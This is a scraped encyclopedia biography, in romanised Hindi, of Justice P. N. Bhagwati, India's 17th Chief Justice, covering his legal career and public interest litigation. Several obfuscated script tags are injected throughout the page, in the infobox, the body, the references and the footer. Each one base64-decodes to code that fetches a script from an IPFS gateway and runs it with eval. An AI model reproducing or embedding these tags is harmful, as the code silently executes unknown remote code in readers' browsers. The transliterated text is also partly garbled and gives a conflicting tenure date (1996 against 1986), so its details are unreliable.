प्रफुल्लचंद नटवरलाल भगवती

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
praphullachand natavaralal bhagavati
poora nam praphullachand natavaralal bhagavati
janm 21 disambar, 1921
janm bhoomi ahamadabad
mrityu 15 joon, 2017
mrityu sthan nee dilli
abhibhavak pita- natavaralal ech. bhagavati
pati/patni prabhavati
santan tin
nagarikata bharatiy
prasiddhi nyayadhish
kary kal mukhy nyayadhish, bharat- 12 julaee, 1985 se 20 disambar, 1986 tak

karyavahak rajyapal, gujarat- 17 march, 1973 se 4 aprॅl, 1973 tak
mukhy nyayadhish, gujarat uchch nyayalay- 16 agast, 1967 se 17 julaee, 1973 tak

vidyalay ganit snatak, elaphianstan k aaulej, muanbee

vidhi snatak, gavarnameant l aau k aaulej, muanbee

sanbandhit lekh bharat ke mukhy nyayadhish, uchchatam nyayalay
dvara niyukt jnani zail sianh
poorvadhikari vaee. vi. chandrachoo d
uttaradhikari raghunandan svaroop pathak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>praphullachand natavaralal bhagavati ya pi. en. bhagavati (aangrezi: Prafullachandra Natwarlal Bhagwati, janm- 21 disambar, 1921, gujarat; mrityu- 15 joon, 2017, nee dilli) bharat ke bhootapoorv 17vean mukhy nyayadhish the. vah 12 julaee, 1985 se 20 disambar, 1986 tak bharat ke mukhy nyayadhish rahe. mool roop se gujarati nyayadhish pi. en. bhagavati ka bharatiy nyay vyavastha ke lie sabase b da yogadan janahit yachika (piaeeel) hai. am logoan ko san 1986 mean mile piaeeel ke adhikar ne desh mean nyayapalika ki tasvir badal di. nyayik sakriyata ka yug yahian se shuroo hua. tajamahal ke sanrakshan se lekar shaharoan ki saphaee tak hajaroan mamaloan par nyayapalika ne aitihasik phaisale sunae.

parichay

21 disanbar, 1921 ko gujarat mean janme nyayadhish pi. en. bhagavati ne elaphianstan k aaulej, muanbee se ganit mean snatak kiya aur isake bad gavarnameant l aau k aaulej, muanbee se l aau mean snatak kiya. vah ek utsahi kanooni shakhsiyat the, jinhoanne varsh 1948 se b aaumbe haeekort mean praiktis shuroo ki. unhean 1960 mean gujarat haeekort ka nyayadhish niyukt kiya gaya tha, jisake bad apane pita nyayadhish natavaralal ech. bhagavati ki virasat ko age badhate hue vah 1973 mean suprim kort mean jaj ke roop mean niyukt kie ge. nyayadhish pi. en. bhagavati ke pita nyayadhish natavaralal ech. bhagavati ne 1952 se 1959 tak suprim kort mean jaj ke roop mean kary kiya tha. pi. en. bhagavati 12 julaee, 1985 se 20 disanbar, 1986 tak bharat ke 17vean mukhy nyayadhish rahe.

jan adhikaroan ke liye junoon

mulk kanoon peshe mean kee diggajoan ki virasat ka gavah raha hai, in sabhi mean je. bhagavati ka akarshan adbhut raha hai. natavaralal bhagavati par sat bete, ek beti aur do chachere bhaiyoan ke palan-poshan ki jimmedari thi. garibi ke bavajood siniyar bhagavati ne apane bachchoan ki achchhi paravarish sunishh‍chit ki. nyayadhish bhagavati ke chhote bhaee jagadish bhagavati ise apane parivar ki saphalata karan manate the. unhoanne ek bar kaha tha ki garibi ke karan unake pita unhean skool kaiantin mean khane ke lie paise nahian dete the lekin kitaboan par saik doan rupe kharch karane se unhean kabhi nahian roka. unake pita ek saiddhaantik vyakti the, jinhoanne apane bachchoan ko sahi mooly die. nyayadhish bhagavati mahatma gaandhi ke anuyayi the. mahatma gaandhi ka un par aisa prabhav tha ki unhoanne svatantrata aandolan mean shamil hone ke lie em.e. ki padhaee chho d di. gaandhivadi drishtikon ne unhean jan adhikaroan ke mahatv ko samajhane ke lie prerit kiya aur bahut hi kam umr se unamean jan adhikar ke lie l dane ka junoon paida ho gaya.

nyayik kushagrata aur darshanik vritti

san 1942 mean vah kaangres soshalist parti mean shamil ho ge. un dinoan bharat chho do aandolan charam par tha. unhean ek bar 'kaangres patrika' baantane ke arop mean jel mean dal diya gaya tha. ukt patrita us samay pratibandhit thi. ek bar vah lahooluhan hokar ghar ae, kyoanki british adhikariyoan ne unhean pita tha. pi. en. bhagavati bhavishyavadi drishtikon ke nyayadhish the, jinhoanne hamesha samay se age socha. unaki nyayik kushagrata aur darshanik vritti ka prabhav tha ki bharatiy nyayashastr nee ooanchaiyoan par pahuancha. unhoanne lokas steandaee ki avadharanaoan, nyay ki upalabdhata aur nyayik sakriyata ki vyakhya ki. jis samay bharat mean sanvaidhanikata ka badh thi, unhoanne yah sunishchit kiya ki unaki nyayik drishti sanvaidhanik nyayashastr mean maujood aantar ko bhar de.[1]

pi. en. bhagavati jarooratamand aur vanchit nagarikoan ke lie sanvedanashil rahe, jisane unhean mupht kanooni sahayata ki avadharana vikasit karane ke lie prerit kiya. is drishti ne husainara khatoon banam grih sachiv, bihar rajy (1980) aur khatri banam bihar rajy (1981) ke nirnayoan ke marg ko prashast kiya, jisamean unhoanne kaha tha ki kanooni sahayata ka adhikar sanvidhan ke anuchchhed 21 ke tahat nihit aur moolyavan adhikar hai. yah rajy par yah dayitv dalata hai ki vah jarooratamand aur kamajor logoan ko kanooni sahayata pradan kare. unaki nyayik vyakhyaean aisi rahi hai ki unhoanne kabhi bhi muddoan ko vartaman samasyaoan ke roop mean nahian dekha, balh‍ki unhean bhavishy ki pratikriyaoan ke roshani mean dekha, jise vah samajik darshan manate the. yah vyakhya unhoanne es.pi. gupta banam bharat ke rashtrapati aur any (1982) ke mamale mean bakhoobi buni hai, jisake karan hamare nyayashastr mean ek avadharana ke roop mean nyayik sakriyata ka uday hua.

janahit yachika

pi. en. bhagavati ka bharatiy nyay vyavastha ke lie sabase b da yogadan 'janahit yachika' (piaeeel) hai. am logoan ko san 1986 mean mile piaeeel ke adhikar ne desh mean nyayapalika ki tasvir badal di. nyayik sakriyata ka yug yahian se shuroo hua. tajamahal ke sanrakshan se lekar shaharoan ki saphaee tak hajaroan mamaloan par nyayapalika ne aitihasik phaisale sunae. jastis pi. en. bhagavati desh ke 17vean mukhy nyayadhish the. unhoanne 12 julaee 1985 se 20 disanbar 1996 tak bataur chiph jastis seva di thi. piaeeel ko 1986 mean samaj ke pichh de aur suvidhahin logoan ke hitoan ki raksha ke uddeshy se pesh kiya gaya tha. unaki adhyakshata vali pith ne desh ki vibhinn jeloan se 40,000 vicharadhin kaidiyoan ko riha karane ka phaisala sunaya tha. isake bad se yah nyayik vyavastha ka aham hissa ban chuka hai.

iandira gaandhi ke shasanakal ke dauran ghoshit apat kal mean pi. en. bhagavati ‘bandi pratyakshikaran’ kes se sanbandhit pith ka hissa the aur is mamale mean apane vivadit phaisale ko lekar bhi khase charcha mean rahe. halaanki 1976 ke is phaisale ko 30 sal bad unhoanne ‘kamajor krity’ karar diya tha. prakhyat arthashastri jagadish bhagavati aur nyooro sarjan es. en. bhagavati unake bhaee haian.

mrityu

nyayadhish pi. en. bhagavati ka nidhan 15 joon, 2017 ko nee dilli mean hua.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. nyayik s‌kriyata ke agradoot jastis pien bhagavati ki smritiyaan (hiandi) hindi.livelaw.in. abhigaman tithi: 03 sitanbar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>